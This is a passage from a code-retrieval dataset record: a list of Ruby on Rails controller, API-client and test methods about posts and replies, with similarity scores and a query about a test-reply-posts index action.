"def test_show_posts_user\n expected = 200\n user_id = 34\n response = Net::HTTP.get(URI.parse('http://localhost:3000/v1/users/'+user_id+'/posts'))\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def index\n @replies = @topic.replies.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @replies }\n end\n end",
"def index\n @replies = Reply.all.order(\"created_at DESC\")\n end",
"def all_posts\n posts = Topic.find(params[:topic_id]).posts\n render :json => posts.order(:created_at => :desc), :include => {:topics => {}, :user => {}}, :methods => [:comment_size]\n end",
"def posts(opts)\n response = get(\"posts\", opts)\n response\n end",
"def replies\n @user = User.find(params[:id])\n end",
"def show\n id = params[:id]\n @post = Post.find(id)\n if (@post.parent_id != nil)\n id = @post.parent_id\n end\n @post = Post.find(id)\n @replies = Post.select(\"children_posts.id, children_posts.body, children_posts.parent_id, children_posts.user_id, children_posts.created_at\")\n .joins(:children).where([\"children_posts.parent_id = ?\", id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @reply = Reply.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reply }\n end\n end",
"def show\n @test_post = TestPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_post }\n end\n end",
"def test_should_create_post_via_API_JSON\r\n get \"/logout\"\r\n post \"/forum_posts.json\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n topic = JSON.parse(response.body)\r\n assert topic['title'] == 'API Test Post', 'Incorrect topic title'\r\n assert topic['user_id'] == 1, 'Incorrect user id'\r\n assert topic['body'] == 'Test Post desc', 'Incorrect topic description' \r\n end",
"def testreplypost_params\n params.require(:testreplypost).permit(:text, :testpost_id)\n end",
"def show\n @post = Post.find(params[:id])\n @number_of_votes = Vote.where(:post_id => @post.id).count\n array_of_primary_key = []\n @post_replies = Reply.where(:parent_post_id => @post.id).all\n\n @replies = []\n @number_of_votes_reply = Hash.new\n @post_replies.each do |p|\n @replies << Post.find_by_id(p.post_id)\n @number_of_votes_reply[Post.find_by_id(p.post_id)] = Vote.where(:post_id => p.post_id).count\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def replies\n Post.where(\"topic_id = ?\", self.id).order(\"created_at asc\")\n #Post.find_all_by_topic_id(self.id).order(\"created_at desc\")\n end",
"def index\n if @blog\n # @replies = @blog.replies.find_new(15)\n @replies = @blog.replies.recent\n else\n @replies=Reply.find_new(15)\n end\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @replies }\n end\n end",
"def get_question_list\n json= RestClient.get(\"http://localhost:3000/questions\")\n JSON.parse(json)\n end",
"def set_post_reply\n @post_reply = PostReply.find(params[:id])\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n @groupreplies = Groupreply.where(\"groupmessage_id = ?\", params[:groupmessage_id])\n end",
"def destroy\n @testreplypost.destroy\n respond_to do |format|\n format.html { redirect_to testreplyposts_url, notice: 'Testreplypost was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def create\n @post = Post.new(params[:post])\n @reply = @post.replies.build\n @post.user_id = current_user.id\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to edit_reply_path(@reply), notice: @post.title }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n replies = Reply.find_all_replies_for(params[:item_id], params[:item_type],params[:num])\n p replies\n @replies = []\n replies.each do |reply|\n @replies.push reply.render_struct\n end\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def set_reply\n @post = Post.find(params[:post_id])\n @comment = @post.comments.find(params[:comment_id])\n @reply = @comment.replies.find(params[:id])\n end",
"def show\n @posts = @game.posts.order(created_at: :desc).paginate(page: params[:page], per_page: 5)\n respond_to do |format|\n format.json { render template: 'api/games/game.json' }\n end\n end",
"def create\n @reply = @place.replies.new(reply_params)\n @reply.user = current_user\n if @reply.save\n render :show, status: :created, location: @reply\n else\n render json: @reply.errors, status: :unprocessable_entity\n end\n end",
"def index\n\n @posts = Post.all\n\n render json: @posts, status: 200\n end",
"def posts; end",
"def index\n if (params[:comment_id] == nil )\n @replies = Reply.all\n else \n @micomment = Comment.find(params[:comment_id])\n \n @replies = Reply.where(comment_id: params[:comment_id])\n end\n end",
"def index\n render json: { posts: Post.all }\n end",
"def list\n comments = Comment.where(post: @post)\n render json: comments, status: 200\n end",
"def show\n @reply_vote = ReplyVote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reply_vote }\n end\n end",
"def index\n @communities = Community.all\n\n render json: @communities.to_json(include: {posts: {include: :replies} })\n end",
"def create\n @reply = Reply.new(reply_params)\n\n if @reply.save\n render json: @reply, status: :created, location: @reply\n else\n render json: @reply.errors, status: :unprocessable_entity\n end\n end",
"def replies\n Reply.find_by_question_id(self.id)\n end",
"def posts\n @url = MYHOST + \"/api/posts/all\"\n\n\n @respuesta = HTTParty.get(\n @url.to_str\n )\n\n @body = @respuesta.body\n if @body \n redirect_to api_resultado_path(:body => @body, :token => @token)\n return\n end\n end",
"def create\n @reply = Reply.new(params[:reply])\n\n if @reply.save\n render json: @reply, status: :created, location: @reply\n else\n render json: @reply.errors, status: :unprocessable_entity\n end\n end",
"def show\n @interesting_tweets = InterestingTweet.all\n @reply = Reply.new\n render 'show_fake'\n end",
"def index\n @feedback_replies = FeedbackReply.all.paginate(page: params[:page], :per_page => 20)\n end",
"def replies\n response = self.class.get(\"/replies.xml\")\n replies_array = []\n response['replies'].each do |reply|\n new_reply = Reply.new(:id => reply['id'], :body => reply['body'],\n :channel => reply['channel'], :address => reply['address'],\n :notification_id => reply['notification_id'])\n replies_array << new_reply\n end\n replies_array\n end",
"def replies\n optional! :order, type: String, default: \"recent\", values: %w[recent]\n optional! :offset, type: Integer, default: 0\n optional! :limit, type: Integer, default: 20, values: 1..150\n\n @replies = @user.replies.recent\n @replies = @replies.includes(:user, :topic).offset(params[:offset]).limit(params[:limit])\n end",
"def index\n @user = User.find(session[:user_id])\n poster_ids = []\n @user.follows.each do |follow|\n poster_ids = poster_ids.push(follow[:followee_id])\n end\n @posts = Post.order(\"updated_at desc\")\n @posts = @posts.where({:user_id => poster_ids})\n @posts = @posts.page(params[:page]).per(20)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def quick_reply(content, quickreplyid, tofakeid)\n post_uri = 'cgi-bin/singlesend'\\\n \"?t=ajax-response&f=json&token=#{ @token }&lang=zh_CN\"\n params = {\n ajax: 1,\n content: content,\n f: 'json',\n imgcode: '',\n lang: 'zh_CN',\n mask: false,\n quickreplyid: quickreplyid,\n random: rand,\n tofakeid: tofakeid,\n token: @token,\n type: 1\n }\n headers = {\n referer: 'https://mp.weixin.qq.com/cgi-bin/message'\\\n \"?t=message/list&count=20&day=7&token=#{ @token }&lang=zh_CN\"\n }\n resource = RestClient::Resource.new(@home_url, headers: headers,\n cookies: @cookies)\n res = resource[post_uri].post params\n #\n # 10706: \"customer block\" => \"48小时内的才行\"\n JSON.parse res.to_s\n end",
"def find_comment_replies\n assert_not_nil @rdigg.stories.find_comment_replies(\"7987660\", \"65434\")\n end",
"def new\n @test_post = TestPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_post }\n end\n end",
"def all_following_posts\n render :json => User.find(params[:user_id]).following_posts\n end",
"def show\n respond_with @topic.posts\n end",
"def index\n @answer_respondents = AnswerRespondent.all\n end",
"def posts_list\n posts = Post.all.published.order(score: :desc, created_at: :desc)\n post_tags = Post.published.order(score: :desc, created_at: :desc).map { |post| Post.includes(:tags, :taggings).find_by(id: post.id).tags }\n categories = Category.all\n tags = Tag.all\n\n render_json(posts: posts, categories: categories, tags: tags, post_tags: post_tags)\n end",
"def create\n #@reply = Reply.new(reply_params)\n @post = Post.find(params[:post_id])\n @comment = Comment.find(params[:comment_id])\n # @reply = Reply.new(reply_params)\n @reply = @comment.replies.create(params[:reply].permit(:body))\n @reply.user_id = current_user.id\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to post_path(@post), notice: \"Reply was successfully created.\" }\n format.json { render :show, status: :created, location: @reply }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def listPosts(*args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n thread = args.first\n options.merge!(:thread => thread) if ([:ident, :link] & options.keys).empty?\n response = get('threads/listPosts', options)\n end",
"def show\n @discussion = Discussion.find(params[:id])\n @posts = @discussion.posts\n\n # Reply form\n @post = Post.new(discussion: @discussion)\n @submit_label = 'Reply'\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discussion }\n end\n rescue ActiveRecord::RecordNotFound\n redirect_to action: 'index', notice: 'Invalid discussion.'\n end",
"def show\n @posts = Post.find(params[:id])\n render json: @posts\n end",
"def create\n @reply = Reply.new(create_reply_params)\n @post = Post.find @reply.post_id\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to_reply @post, @reply }\n format.json { render json: @reply, status: :created }\n else\n render_errors(@reply, format)\n end\n end\n end",
"def new\n begin\n @post = Post.find(params[:post_id])\n @user = current_user\n rescue ActiveRecord::RecordNotFound\n logger.error \"Accessed invalid post #{params[:post_id]}\"\n redirect_to posts_path, :notice => 'Invalid post id'\n else\n @reply = @user.replies.build\n @reply.user_id = @user.id\n @reply.post_id = @post.id\n end\n @post.save\n @reply.save\n respond_to do |format|\n format.html { redirect_to edit_reply_path(@reply), notice: @post.title }\n format.json { render json: @reply }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @posts = Post.all\n \n render json: @posts\n end",
"def mpim_replies(options = {})\n throw ArgumentError.new('Required arguments :channel missing') if options[:channel].nil?\n throw ArgumentError.new('Required arguments :thread_ts missing') if options[:thread_ts].nil?\n options = options.merge(channel: channels_id(options)['channel']['id']) if options[:channel]\n post('mpim.replies', options)\n end"
] | [
"0.6933231",
"0.6933231",
"0.6866066",
"0.6685794",
"0.64412427",
"0.6249165",
"0.6249165",
"0.6249165",
"0.6249165",
"0.6245159",
"0.62433976",
"0.6109161",
"0.61003816",
"0.6083092",
"0.6075278",
"0.6071272",
"0.6064191",
"0.6064191",
"0.6043861",
"0.6036293",
"0.6035207",
"0.59135926",
"0.59096605",
"0.5909315",
"0.5905618",
"0.58956003",
"0.5874083",
"0.586832",
"0.58593607",
"0.58217955",
"0.5821619",
"0.58017784",
"0.5798107",
"0.57921284",
"0.57878333",
"0.5784294",
"0.5784279",
"0.57835627",
"0.5778379",
"0.57482773",
"0.5732634",
"0.57082325",
"0.57077605",
"0.5702969",
"0.5701061",
"0.5698028",
"0.5672072",
"0.56521297",
"0.56359035",
"0.5626731",
"0.5615835",
"0.5586766",
"0.5580131",
"0.5563798",
"0.5558032",
"0.5553008",
"0.5550513",
"0.5549619",
"0.5549619",
"0.5538494",
"0.5537849",
"0.55270153",
"0.5523844",
"0.55106425",
"0.5500999",
"0.5495551",
"0.5491627",
"0.54905194",
"0.5481325",
"0.5476368",
"0.54744834",
"0.54734826",
"0.5470449",
"0.54673755",
"0.546337",
"0.5458381",
"0.5456473",
"0.54556257",
"0.5438347",
"0.5426081",
"0.54223305",
"0.54148716",
"0.54086816",
"0.5404415",
"0.5399858",
"0.5396706",
"0.5394001",
"0.5389011",
"0.5385333",
"0.53842044",
"0.5382706",
"0.538234",
"0.5381959",
"0.5381649",
"0.53812295",
"0.53812295",
"0.53812295",
"0.53812295",
"0.53782547",
"0.5377699"
] | 0.72688186 | 0 |
GET /testreplyposts/1 GET /testreplyposts/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @testreplyposts = Testreplypost.all\n end",
"def index\n @replies = Reply.all\n\n render json: @replies\n end",
"def index\n @replies = Reply.all\n\n render json: @replies\n end",
"def index\n @post_replies = PostReply.all\n end",
"def index\n @replies = Reply.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @replies }\n end\n end",
"def show\n @reply = Reply.find(params[:id])\n\n render json: @reply\n end",
"def show\n render json: @reply\n end",
"def reply\n @title = \"Reply\"\n @user=User.find(params[:id])\n @micropost=Micropost.new\n respond_to do |format|\n format.html\n format.json { render json: @micropost }\n end\n\n end",
"def show\n @reply = Reply.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reply }\n end\n end",
"def show\n @reply = Reply.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reply }\n end\n end",
"def index\n @replies = Reply.all\n end",
"def index\n @replies = Reply.all\n end",
"def index\n @replies = Reply.all\n end",
"def index\n @replies = Reply.all\n end",
"def show \n @post = Post.find(params[:id])\n \n @replies = Kaminari.paginate_array(@post.all_replies.order(\"created_at DESC\")).page params[:page]\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { \n @replies << @post\n render json: @replies.to_json(:include => { :user => { :only => :username } }, :only =>[:id,:content,:post_date,:user_id] )\n }\n format.js\n end\n end",
"def show\n @likesforreply = Likesforreply.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @likesforreply }\n end\n end",
"def index\n @replies = Reply.order(created_at: :desc).limit(250)\n end",
"def index\n \t@blog = Blog.find(params[:id])\n @replies = @blog.replie\n end",
"def index\n @replies = Reply.all\n end",
"def index\n @rreplies = Rreply.all\n end",
"def reply_to_post\n puts params[:reply]\n @post = Post.find(params[:reply][:post_id])\n @reply = @post.replies.build(params[:reply])\n @reply.user_id = current_user.id\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to(board_post_path(@post.board, @post), notice => 'Post was successfully created.') }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def replies\n Reply.where(:discussion_id => id).order('created_at ASC')\n end",
"def show\n id = params[:id]\n @post = Post.find(id)\n if (@post.parent_id != nil)\n id = @post.parent_id\n end\n @post = Post.find(id)\n @replies = Post.select(\"children_posts.id, children_posts.body, children_posts.parent_id, children_posts.user_id, children_posts.created_at\")\n .joins(:children).where([\"children_posts.parent_id = ?\", id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n @replies = @comment.replies\n end",
"def replies\n Reply.find_by_question_id(@id)\n end",
"def set_testreplypost\n @testreplypost = Testreplypost.find(params[:id])\n end",
"def show\n @post = Post.find(params[:id])\n @number_of_votes = Vote.where(:post_id => @post.id).count\n array_of_primary_key = []\n @post_replies = Reply.where(:parent_post_id => @post.id).all\n\n @replies = []\n @number_of_votes_reply = Hash.new\n @post_replies.each do |p|\n @replies << Post.find_by_id(p.post_id)\n @number_of_votes_reply[Post.find_by_id(p.post_id)] = Vote.where(:post_id => p.post_id).count\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def replies\n @user = User.find(params[:id])\n end",
"def new\n @reply = Reply.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reply }\n end\n end",
"def index\n @message_posts = MessagePost.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @message_posts }\n end\n end",
"def index\n @reply_answers = ReplyAnswer.all\n end",
"def index\n @replies = Reply.all.order(\"created_at DESC\")\n end",
"def index\n @replies = Reply.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @replies }\n end\n end",
"def display_posts\n begin\n response = RestClient.get \"#{@@DOMAIN}/api/posts.json?all\", authorization_hash\n\n puts \"Response code: #{response.code}\"\n puts \"Response cookies:\\n #{response.cookies}\\n\\n\"\n puts \"Response headers:\\n #{response.headers}\\n\\n\"\n puts \"Response content:\\n #{response.to_str}\"\n\n js = JSON response.body\n js.each do |item_hash|\n item_hash.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def index\n @posts = Mist::Post.recently_published(20, Mist.authorized?(:view_drafts, self))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def set_post_reply\n @post_reply = PostReply.find(params[:id])\n end",
"def replies\r\n RepliesController.instance\r\n end",
"def index\n if @blog\n # @replies = @blog.replies.find_new(15)\n @replies = @blog.replies.recent\n else\n @replies=Reply.find_new(15)\n end\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @replies }\n end\n end",
"def post\n post = Post.get_from_cache(reply_to)\n post || Post.first(:id => reply_to)\n end",
"def show\n #@reply = Reply.find(params[:id])\n end",
"def show\n @reply_vote = ReplyVote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reply_vote }\n end\n end",
"def create\n @post = Post.new(params[:post])\n @reply = @post.replies.build\n @post.user_id = current_user.id\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to edit_reply_path(@reply), notice: @post.title }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def posts\n posts = @client.entries(content_type: 'post').items\n posts || []\n end",
"def replies\n Post.where(\"topic_id = ?\", self.id).order(\"created_at asc\")\n #Post.find_all_by_topic_id(self.id).order(\"created_at desc\")\n end",
"def index\n replies = Reply.find_all_replies_for(params[:item_id], params[:item_type],params[:num])\n p replies\n @replies = []\n replies.each do |reply|\n @replies.push reply.render_struct\n end\n end",
"def new\n begin\n @post = Post.find(params[:post_id])\n @user = current_user\n rescue ActiveRecord::RecordNotFound\n logger.error \"Accessed invalid post #{params[:post_id]}\"\n redirect_to posts_path, :notice => 'Invalid post id'\n else\n @reply = @user.replies.build\n @reply.user_id = @user.id\n @reply.post_id = @post.id\n end\n @post.save\n @reply.save\n respond_to do |format|\n format.html { redirect_to edit_reply_path(@reply), notice: @post.title }\n format.json { render json: @reply }\n end\n end",
"def index\n @replies = @topic.replies.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @replies }\n end\n end",
"def index\n authorize! :index, Post\n @replies = RepliesQueryFilter.new(params, current_ability).run_query\n end",
"def index\n \n conditions = \"reply_to_post is NULL\"\n if !params[:last_message_received].blank? and params[:last_message_received].to_i > 0\n conditions = conditions + \" AND id > #{params[:last_message_received].to_i}\"\n end\n \n\n center_point = [params[:lat], params[:lon]]\n box = Geocoder::Calculations.bounding_box(center_point, 1) #1km box for now\n \n if params[:tag].blank?\n @posts = Post.within_bounding_box(box).where(conditions).order(\"created_at DESC\").page params[:page]\n else\n @posts = TagName.find_by_name(params[:tag]).posts.within_bounding_box(box).where(conditions).order(\"created_at DESC\").page params[:page]\n end\n \n @posts = Post.where('id = 1').page params[:page] if @posts.size == 0 and (params[:last_message_received].blank? or params[:last_message_received].to_i == 0)\n\n only = [:id,:content,:post_date,:user_id] \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts.to_json(:include => { :user => { :only => :username } }, :only =>only ) }\n format.js\n end\n end",
"def index\n if (params[:comment_id] == nil )\n @replies = Reply.all\n else \n @micomment = Comment.find(params[:comment_id])\n \n @replies = Reply.where(comment_id: params[:comment_id])\n end\n end",
"def show\n @test_post = TestPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_post }\n end\n end",
"def show\n @discussion = Discussion.find(params[:id])\n @posts = @discussion.posts\n\n # Reply form\n @post = Post.new(discussion: @discussion)\n @submit_label = 'Reply'\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discussion }\n end\n rescue ActiveRecord::RecordNotFound\n redirect_to action: 'index', notice: 'Invalid discussion.'\n end",
"def replies\n options = {}\n if params[:per_page]\n options[:limit] = params[:per_page].to_i\n if params[:page] && params[:page].to_i >= 1\n options[:offset] = params[:per_page].to_i * (params[:page].to_i-1)\n end\n end\n options[:conditions] = {:channel_id => @channel.id, :reference_to => @message.id }\n sort_order = 'DESC'\n if params[:sort_order]\n if params[:sort_order] == 'ascending'\n sort_order = 'ASC'\n elsif params[:sort_order] == 'descending'\n sort_order = 'DESC'\n end\n end\n options[:order] = 'updated_at ' + sort_order\n @messages = Message.all(options)\n size = Message.count(:conditions => options[:conditions])\n\n render_json :entry => @messages, :size => size and return\n end",
"def load_replies\n @replies = []\n \n if @replies_json != \"\"\n # if we have some replies, create them\n @replies_json[\"data\"][\"children\"].each do |comment|\n if @submission\n @replies << Comment.new(comment[\"data\"], @submission)\n else\n @replies << Comment.new(comment[\"data\"])\n end\n end\n end\n end",
"def show\n @posts = Post.find(params[:id])\n render json: @posts\n end",
"def set_reply\n @post = Post.find(params[:post_id])\n @comment = @post.comments.find(params[:comment_id])\n @reply = @comment.replies.find(params[:id])\n end",
"def index\n @groupreplies = Groupreply.where(\"groupmessage_id = ?\", params[:groupmessage_id])\n end",
"def show\n @message_post = MessagePost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message_post }\n end\n end",
"def set_reply\n @reply = Replie.find(params[:id])\n end",
"def posts; end",
"def all_posts\n posts = Topic.find(params[:topic_id]).posts\n render :json => posts.order(:created_at => :desc), :include => {:topics => {}, :user => {}}, :methods => [:comment_size]\n end",
"def create\n #@reply = Reply.new(reply_params)\n @post = Post.find(params[:post_id])\n @comment = Comment.find(params[:comment_id])\n # @reply = Reply.new(reply_params)\n @reply = @comment.replies.create(params[:reply].permit(:body))\n @reply.user_id = current_user.id\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to post_path(@post), notice: \"Reply was successfully created.\" }\n format.json { render :show, status: :created, location: @reply }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_show_posts_user\n expected = 200\n user_id = 34\n response = Net::HTTP.get(URI.parse('http://localhost:3000/v1/users/'+user_id+'/posts'))\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def show\n @reply = @topic.replies.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reply }\n end\n end",
"def display_post\n begin\n # asks the user for the post id\n print \"Enter the post ID: \"\n id = STDIN.gets.chomp\n response = RestClient.get \"#{@@DOMAIN}/api/posts/#{id}.json\", authorization_hash\n\n js = JSON response.body\n js.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def create\n @reply = Reply.new(create_reply_params)\n @post = Post.find @reply.post_id\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to_reply @post, @reply }\n format.json { render json: @reply, status: :created }\n else\n render_errors(@reply, format)\n end\n end\n end",
"def destroy\n @reply = Reply.find(params[:id])\n @reply.destroy\n @post = @reply.post\n\n respond_to do |format|\n format.html { redirect_to @post }\n format.json { head :ok }\n end\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n @vote = Vote.new\n respond_to do |format|\n format.json{render json:@posts}\n format.html\n end\n\n end",
"def show\n @post = Post.find(params[:post_id])\n @topic = Topic.find(params[:topic_id])\n @reply = Reply.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reply }\n end\n end",
"def index\n @post = Post.find_by_id(params[:post_id])\n if @post.nil?\n return render json: { error: \"Post not found\" }, status: :not_found\n end\n render json: @post.comments,status: 200\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def detail\n\trespond_to do |format|\n\t\tformat.html do\n\t\t\t@post = current_user.posts.build(micropost_id: params[:id])\n\t\t\t\n\t\t\t@friends = current_user.friends\t\t\t\n\t\tend\n\t\tformat.mobile do\n\t\t\tjson_response = {status:\"success\", failure_reason: \"\", micropost: @micropost.to_mobile, polls: @polls.collect { |poll| poll.to_mobile }, replies_data: @post_items.collect { |post_item| post_item.to_mobile } }\n\n\t\t\trender json: json_response\n\t\tend\n\tend\n end",
"def index\n\n @posts = Post.all\n\n render json: @posts, status: 200\n end",
"def show\n @posts = @game.posts.order(created_at: :desc).paginate(page: params[:page], per_page: 5)\n respond_to do |format|\n format.json { render template: 'api/games/game.json' }\n end\n end",
"def create\n @testreplypost = Testreplypost.new(testreplypost_params)\n\n respond_to do |format|\n if @testreplypost.save\n format.html { redirect_to @testreplypost, notice: 'Testreplypost was successfully created.' }\n format.json { render :show, status: :created, location: @testreplypost }\n else\n format.html { render :new }\n format.json { render json: @testreplypost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def replies\n Reply.find_by_question_id(self.id)\n end",
"def index\n @answers = Answer.where(url_params)\n if @answers.size == 1\n @answers.first!\n end\n render json: @answers\n end",
"def post(id, opts = {})\r\n uri = url_for(\"posts/#{id}\", opts)\r\n response = RestClient.get(uri)\r\n JSON.parse response\r\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def set_reply\n @reply = Reply.find(params[:id])\n end",
"def set_reply\n @reply = Reply.find(params[:id])\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {render json: @posts}\n end\n end",
"def index\n render json: { posts: Post.all }\n end",
"def create\n @reply = Reply.new(params[:reply])\n\n if @reply.save\n render json: @reply, status: :created, location: @reply\n else\n render json: @reply.errors, status: :unprocessable_entity\n end\n end",
"def posts(opts)\n response = get(\"posts\", opts)\n response\n end",
"def show\n @topic = Topic.find(params[:id]) \n @posts=@topic.posts.page(params[:page]).per(post_per_page)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n end\n end",
"def index\n @posts = Post.all\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @posts }\n end\n end",
"def create\n @reply = @comment.replies.new(reply_params)\n @reply.user_id = session[:user_id]\n respond_to do |format|\n if @reply.save\n format.html { redirect_to @post, notice: 'Reply was successfully created.' }\n format.json { render @post, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @test_posts = TestPost.all\n end",
"def index\n\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def index\n render json: Post.all.order(id: :desc), each_serializer: V1::Posts::PostSerializer\n end",
"def index\n @api_v1_post_votes = PostVote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @api_v1_post_votes }\n end\n end",
"def index\n @user = User.find(session[:user_id])\n poster_ids = []\n @user.follows.each do |follow|\n poster_ids = poster_ids.push(follow[:followee_id])\n end\n @posts = Post.order(\"updated_at desc\")\n @posts = @posts.where({:user_id => poster_ids})\n @posts = @posts.page(params[:page]).per(20)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def create\n @reply = Reply.new(reply_params)\n\n if @reply.save\n render json: @reply, status: :created, location: @reply\n else\n render json: @reply.errors, status: :unprocessable_entity\n end\n end",
"def quick_reply(content, quickreplyid, tofakeid)\n post_uri = 'cgi-bin/singlesend'\\\n \"?t=ajax-response&f=json&token=#{ @token }&lang=zh_CN\"\n params = {\n ajax: 1,\n content: content,\n f: 'json',\n imgcode: '',\n lang: 'zh_CN',\n mask: false,\n quickreplyid: quickreplyid,\n random: rand,\n tofakeid: tofakeid,\n token: @token,\n type: 1\n }\n headers = {\n referer: 'https://mp.weixin.qq.com/cgi-bin/message'\\\n \"?t=message/list&count=20&day=7&token=#{ @token }&lang=zh_CN\"\n }\n resource = RestClient::Resource.new(@home_url, headers: headers,\n cookies: @cookies)\n res = resource[post_uri].post params\n #\n # 10706: \"customer block\" => \"48小时内的才行\"\n JSON.parse res.to_s\n end",
"def test_function_get_all_posts_successfully\n expected = 200\n response = Net::HTTP.get(URI.parse('http://localhost:3000/v1/posts'))\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end"
] | [
"0.7142281",
"0.7047063",
"0.7047063",
"0.7031367",
"0.6898149",
"0.67412645",
"0.6633324",
"0.65961087",
"0.65614223",
"0.65614223",
"0.6478262",
"0.6478262",
"0.6478262",
"0.6478262",
"0.6399445",
"0.63662386",
"0.6351225",
"0.6311222",
"0.63002867",
"0.6222892",
"0.6176492",
"0.6157643",
"0.6156497",
"0.6143453",
"0.6123568",
"0.6113321",
"0.61045754",
"0.6102552",
"0.61013263",
"0.60709137",
"0.6047425",
"0.60217565",
"0.6020214",
"0.6017841",
